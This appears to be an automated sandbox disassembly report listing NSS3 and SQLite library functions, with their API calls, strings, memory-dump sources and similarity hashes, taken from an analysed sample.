Function 6C82ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C82DE64), ref: 6C82ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C82ED22

Part of subcall function 6C83B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C9118D0,?), ref: 6C83B095

PL_FreeArenaPool.NSS3(?), ref: 6C82ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C82ED6B
PR_CallOnce.NSS3(6C942AA4,6C8412D0), ref: 6C82ED38

Part of subcall function 6C764C70: TlsGetValue.KERNEL32(?,?,?,6C763921,6C9414E4,6C8ACC70), ref: 6C764C97
Part of subcall function 6C764C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C763921,6C9414E4,6C8ACC70), ref: 6C764CB0
Part of subcall function 6C764C70: PR_Unlock.NSS3(?,?,?,?,?,6C763921,6C9414E4,6C8ACC70), ref: 6C764CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C82ED52
PR_CallOnce.NSS3(6C942AA4,6C8412D0), ref: 6C82ED83
PL_FreeArenaPool.NSS3(?), ref: 6C82ED95
PL_FinishArenaPool.NSS3(?), ref: 6C82ED9D

Part of subcall function 6C8464F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C84127C,00000000,00000000,00000000), ref: 6C84650E

Strings

security, xrefs: 6C82ED06

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 9548467dbc45e7495e54226dfad74bbe4976aa100ebbab92195cb6609609927d
Instruction ID: c86c61f5ced4eda07a1277863b4e2a5afb404a80c6b4e3ced9be5da7e5f0cf94
Opcode Fuzzy Hash: 9548467dbc45e7495e54226dfad74bbe4976aa100ebbab92195cb6609609927d
Instruction Fuzzy Hash: B2110B7590021C6BDB30977DAE48BBB72746F4270EF044D34E845A2F81F729954897DA

Function 6C812CD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 73COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_InitToken), ref: 6C812CEC
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C812D07

Part of subcall function 6C8F09D0: PR_Now.NSS3 ref: 6C8F0A22
Part of subcall function 6C8F09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C8F0A35
Part of subcall function 6C8F09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C8F0A66
Part of subcall function 6C8F09D0: PR_GetCurrentThread.NSS3 ref: 6C8F0A70
Part of subcall function 6C8F09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C8F0A9D
Part of subcall function 6C8F09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C8F0AC8
Part of subcall function 6C8F09D0: PR_vsmprintf.NSS3(?,?), ref: 6C8F0AE8
Part of subcall function 6C8F09D0: EnterCriticalSection.KERNEL32(?), ref: 6C8F0B19
Part of subcall function 6C8F09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C8F0B48
Part of subcall function 6C8F09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C8F0C76
Part of subcall function 6C8F09D0: PR_LogFlush.NSS3 ref: 6C8F0C7E

PR_LogPrint.NSS3( pPin = 0x%p,?), ref: 6C812D22

Part of subcall function 6C8F09D0: OutputDebugStringA.KERNEL32(?), ref: 6C8F0B88
Part of subcall function 6C8F09D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C8F0C5D
Part of subcall function 6C8F09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6C8F0C8D
Part of subcall function 6C8F09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C8F0C9C
Part of subcall function 6C8F09D0: OutputDebugStringA.KERNEL32(?), ref: 6C8F0CD1
Part of subcall function 6C8F09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C8F0CEC
Part of subcall function 6C8F09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C8F0CFB
Part of subcall function 6C8F09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C8F0D16
Part of subcall function 6C8F09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C8F0D26
Part of subcall function 6C8F09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C8F0D35
Part of subcall function 6C8F09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C8F0D65
Part of subcall function 6C8F09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C8F0D70
Part of subcall function 6C8F09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C8F0D90
Part of subcall function 6C8F09D0: free.MOZGLUE(00000000), ref: 6C8F0D99

PR_LogPrint.NSS3( ulPinLen = %d,?), ref: 6C812D3B

Part of subcall function 6C8F09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6C8F0BAB
Part of subcall function 6C8F09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C8F0BBA
Part of subcall function 6C8F09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C8F0D7E

PR_LogPrint.NSS3( pLabel = 0x%p,?), ref: 6C812D54

Part of subcall function 6C8F09D0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C8F0BCB
Part of subcall function 6C8F09D0: EnterCriticalSection.KERNEL32(?), ref: 6C8F0BDE
Part of subcall function 6C8F09D0: OutputDebugStringA.KERNEL32(?), ref: 6C8F0C16

Strings

pPin = 0x%p, xrefs: 6C812D1D
C_InitToken, xrefs: 6C812CE7
ulPinLen = %d, xrefs: 6C812D36
slotID = 0x%x, xrefs: 6C812D02
pLabel = 0x%p, xrefs: 6C812D4F

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: DebugOutputString$Printfflush$fwrite$CriticalEnterR_snprintfSection$CurrentExplodeFlushR_vsmprintfR_vsnprintfThreadTimefputcfreememcpystrlen
String ID: pLabel = 0x%p$ pPin = 0x%p$ slotID = 0x%x$ ulPinLen = %d$C_InitToken
API String ID: 420000887-1567254798
Opcode ID: 17fa1ea6defbfe733c766d338a9920209385762c99cbc7c9ec59d98982468e10
Instruction ID: 2819ae9bd75724059e7de947393a8735412c9076d96f5be841afd9e5eab588cb
Opcode Fuzzy Hash: 17fa1ea6defbfe733c766d338a9920209385762c99cbc7c9ec59d98982468e10
Instruction Fuzzy Hash: 5D21B075709149EFDB20AB58DE4CA493BF1FB8631EF148924E50497A22DB34D909CB62

Function 6C8F0EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C7D2357), ref: 6C8F0EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C7D2357), ref: 6C8F0EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C8F0EE6

Part of subcall function 6C8F09D0: PR_Now.NSS3 ref: 6C8F0A22
Part of subcall function 6C8F09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C8F0A35
Part of subcall function 6C8F09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C8F0A66
Part of subcall function 6C8F09D0: PR_GetCurrentThread.NSS3 ref: 6C8F0A70
Part of subcall function 6C8F09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C8F0A9D
Part of subcall function 6C8F09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C8F0AC8
Part of subcall function 6C8F09D0: PR_vsmprintf.NSS3(?,?), ref: 6C8F0AE8
Part of subcall function 6C8F09D0: EnterCriticalSection.KERNEL32(?), ref: 6C8F0B19
Part of subcall function 6C8F09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C8F0B48
Part of subcall function 6C8F09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C8F0C76
Part of subcall function 6C8F09D0: PR_LogFlush.NSS3 ref: 6C8F0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C8F0EFA

Part of subcall function 6C7DAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C7DAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C8F0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C8F0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C8F0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C8F0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C8F0ED9, 6C8F0EE5, 6C8F0F06, 6C8F0F0B
Aborting, xrefs: 6C8F0EB3

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: bc2ffc2ae507beec9caf1c083ae6399809c8642d72b711cc102363bb99f0c13d
Instruction ID: c73e2b45e2500a24feb467f4dc6228227d506803f3a4cb12bdb4ecfc175e20e4
Opcode Fuzzy Hash: bc2ffc2ae507beec9caf1c083ae6399809c8642d72b711cc102363bb99f0c13d
Instruction Fuzzy Hash: 9DF0A4BA9002287BDB123B60DC4AC9B3E3DEF82268F004424FD1D56602EB35E91496B2

Function 6C854DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C854DCB

Part of subcall function 6C840FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7E87ED,00000800,6C7DEF74,00000000), ref: 6C841000
Part of subcall function 6C840FF0: PR_NewLock.NSS3(?,00000800,6C7DEF74,00000000), ref: 6C841016
Part of subcall function 6C840FF0: PL_InitArenaPool.NSS3(00000000,security,6C7E87ED,00000008,?,00000800,6C7DEF74,00000000), ref: 6C84102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C854DE1

Part of subcall function 6C8410C0: TlsGetValue.KERNEL32(?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C8410F3
Part of subcall function 6C8410C0: EnterCriticalSection.KERNEL32(?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C84110C
Part of subcall function 6C8410C0: PL_ArenaAllocate.NSS3(?,?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C841141
Part of subcall function 6C8410C0: PR_Unlock.NSS3(?,?,?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C841182
Part of subcall function 6C8410C0: TlsGetValue.KERNEL32(?,6C7E8802,00000000,00000008,?,6C7DEF74,00000000), ref: 6C84119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C854DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C854E59

Part of subcall function 6C83FAB0: free.MOZGLUE(?,-00000001,?,?,6C7DF673,00000000,00000000), ref: 6C83FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C91300C,00000000), ref: 6C854EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C854EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C854F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C85521A

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: b8b4bf86fd1a10a9258d2c393628c505abcc4782fc5e3a2978e2db2cd9383d9b
Instruction ID: 5d39439f96d756803e24d0fcfd6348f47212d5b3cf62a035fbb27d5b8823b252
Opcode Fuzzy Hash: b8b4bf86fd1a10a9258d2c393628c505abcc4782fc5e3a2978e2db2cd9383d9b
Instruction Fuzzy Hash: 78F1CD71E00209CBDB54CF58D9407AEB7B2FF84318F658529E815AB780E7B5E9A1CF90

Function 6C850C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6C852C2A), ref: 6C850C81

Part of subcall function 6C83BE30: SECOID_FindOID_Util.NSS3(6C7F311B,00000000,?,6C7F311B,?), ref: 6C83BE44

Part of subcall function 6C828500: SECOID_GetAlgorithmTag_Util.NSS3(6C8295DC,00000000,00000000,00000000,?,6C8295DC,00000000,00000000,?,6C807F4A,00000000,?,00000000,00000000), ref: 6C828517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C850CC4

Part of subcall function 6C83FAB0: free.MOZGLUE(?,-00000001,?,?,6C7DF673,00000000,00000000), ref: 6C83FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C850CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C850D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C850D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C850D7D
free.MOZGLUE(00000000), ref: 6C850DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C850DC1
free.MOZGLUE(00000000), ref: 6C850DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C850E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C850E0F

Part of subcall function 6C8295C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C807F4A,00000000,?,00000000,00000000), ref: 6C8295E0
Part of subcall function 6C8295C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C807F4A,00000000,?,00000000,00000000), ref: 6C8295F5
Part of subcall function 6C8295C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C829609
Part of subcall function 6C8295C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C82961D
Part of subcall function 6C8295C0: PK11_GetInternalSlot.NSS3 ref: 6C82970B
Part of subcall function 6C8295C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C829756
Part of subcall function 6C8295C0: PK11_GetIVLength.NSS3(?), ref: 6C829767
Part of subcall function 6C8295C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C82977E
Part of subcall function 6C8295C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C82978E

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 8148493e46a868f2da7ba49751967d2975916f36fed39a5858d5e746562bd5b3
Instruction ID: 5759d2f46352ef2891947fd41ff818864754b033f5644c3757460a3c9158215b
Opcode Fuzzy Hash: 8148493e46a868f2da7ba49751967d2975916f36fed39a5858d5e746562bd5b3
Instruction Fuzzy Hash: 8D4126B1900219ABEB209F68DE45BAF7674EF0030DF100934ED1957741F775AA28CBE2

Function 6C7E4FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C930148,?,6C7F6FEC), ref: 6C7E502A
PR_NewLock.NSS3(00000001,00000000,6C930148,?,6C7F6FEC), ref: 6C7E5034
PL_NewHashTable.NSS3(00000000,6C83FE80,6C83FD30,6C88C350,00000000,00000000,00000001,00000000,6C930148,?,6C7F6FEC), ref: 6C7E5055
PL_NewHashTable.NSS3(00000000,6C83FE80,6C83FD30,6C88C350,00000000,00000000,?,00000001,00000000,6C930148,?,6C7F6FEC), ref: 6C7E506D

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 35efd1ebc5270d50bf839f1521f4ad22aa6fdd6d7ebd7d053a71232fc9903a84
Instruction ID: 0e79e7fdb3901e25e26a663c4603a77316ba254a18db148c500ea85a84a26680
Opcode Fuzzy Hash: 35efd1ebc5270d50bf839f1521f4ad22aa6fdd6d7ebd7d053a71232fc9903a84
Instruction Fuzzy Hash: 8B31E772B0DA24DBEF50AA659A0CB4737B8BB1F75CF218524E905C7E41E3748604CBE1

Function 6C72AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C72AC52
CreateFileMappingW.KERNEL32 ref: 6C72AC7D
GetSystemInfo.KERNEL32 ref: 6C72AC98
MapViewOfFile.KERNEL32 ref: 6C72ACB0
GetSystemInfo.KERNEL32 ref: 6C72ACCD
MapViewOfFile.KERNEL32 ref: 6C72AD05
UnmapViewOfFile.KERNEL32 ref: 6C72AD1C
CloseHandle.KERNEL32 ref: 6C72AD28
UnmapViewOfFile.KERNEL32 ref: 6C72AD37
CloseHandle.KERNEL32 ref: 6C72AD43
CloseHandle.KERNEL32 ref: 6C72AD67

Memory Dump Source

Source File: 00000000.00000002.2955640771.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000000.00000002.2955623266.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955692333.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955720687.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2955749492.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6c0000_T220UXIoKO.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 2ac825dd7206904f13d24a646b48438a904ce64cfbaf3912eb3eeacbbc99f349
Instruction ID: e734c636354958532650523792c541a66bc941e839155362811692ecaeeafdc7
Opcode Fuzzy Hash: 2ac825dd7206904f13d24a646b48438a904ce64cfbaf3912eb3eeacbbc99f349
Instruction Fuzzy Hash: 073162B1904B048FDB00BF7CD64966EBBF4BF85315F01893DE99987215EB74A848CB82

Function 6C782E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C782F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C782FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C783005
memcpy.VCRUNTIME140(?,?,?), ref: 6C7830EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C783131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C783178

Strings

database corruption, xrefs: 6C78316C
%s at line %d of [%.10s], xrefs: 6C783171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C783022, 6C783156, 6C783162, 6C78318A, 6C783196, 6C7831A2, 6C7831AE, 6C7831BA, 6C7831C6

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 4aab400ba1f8a780af21f3dd7a9c40f2adc66a08bf404cb231cacb5529f4794e
Instruction ID: 0af9e3854ab15598e9168d449d0cc13fb1574ff032d1c4b39802686a8c1815e1
Opcode Fuzzy Hash: 4aab400ba1f8a780af21f3dd7a9c40f2adc66a08bf404cb231cacb5529f4794e
Instruction Fuzzy Hash: E4B1C2B0E06219DBCB18CF9DC984AEEB7B2BF48704F144439EA49B7B45D7749941CBA0

Function 6C816C40 Relevance: 15.8, APIs: 5, Strings: 4, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C816C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C816C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C816CA3

Part of subcall function 6C8FD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8FD963

PR_LogPrint.NSS3(?,00000000), ref: 6C816CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C816CD5

Strings

hSession = 0x%x, xrefs: 6C816C7E, 6C816C8E
pMechanism = 0x%p, xrefs: 6C816CD0
(CK_INVALID_HANDLE), xrefs: 6C816C9C
C_DigestInit, xrefs: 6C816C61

Memory Dump Source

Source File: 00000000.00000002.2955800869.000000006C761000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C760000, based on PE: true

Associated: 00000000.00000002.2955777546.000000006C760000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955941809.000000006C8FF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2955992180.000000006C93E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956024360.000000006C93F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956054772.000000006C940000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2956086813.000000006C945000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c760000_T220UXIoKO.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit
API String ID: 1003633598-3690128261
Opcode ID: 6cb9d69f68fd5b6078451fcb86ce2f2766b9eb123890c3d0a693590e026c80df
Instruction ID: 674e0fca3c9dae0a1d9d3bdd536fffad69e84a50129acccbe476a0440b49b97a
Opcode Fuzzy Hash: 6cb9d69f68fd5b6078451fcb86ce2f2766b9eb123890c3d0a693590e026c80df
Instruction Fuzzy Hash: 8621D531B09105DBDB20AB589F48B9A37F5EB8621DF158839E549D7F02DB309909CB92

Function 6C7E0F30 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 85memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C7E0F62
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C7E0F84

Part of subcall function 6C83B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C9118D0,?), ref: 6C83B095

SEC_QuickDERDecodeItem_Util.NSS3(?,6C7FF59B,6C90890C,?), ref: 6C7E0FA8
PORT_Alloc_Util.NSS3(4C8B1474), ref: 6C7E0FC1

Part of subcall function 6C840BE0: malloc.MOZGLUE(6C838D2D,?,00000000,?), ref: 6C840BF8
Part of subcall function 6C840BE0: TlsGetValue.KERNEL32(6C838D2D,?,00000000,?), ref: 6C840C15

